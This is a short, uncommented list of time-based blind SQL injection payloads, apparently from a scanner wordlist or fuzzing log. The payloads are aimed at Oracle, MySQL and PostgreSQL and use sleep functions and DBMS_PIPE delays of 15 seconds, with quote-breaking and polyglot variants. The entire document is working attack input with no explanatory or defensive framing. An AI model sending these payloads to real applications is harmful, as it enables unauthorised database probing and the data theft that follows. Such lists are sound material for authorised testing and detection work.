555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555EoAjHhH4' OR 754=(SELECT 754 FROM PG_SLEEP(15))--
555jKssCfwG') OR 487=(SELECT 487 FROM PG_SLEEP(15))--
555PytQk1eo')) OR 609=(SELECT 609 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'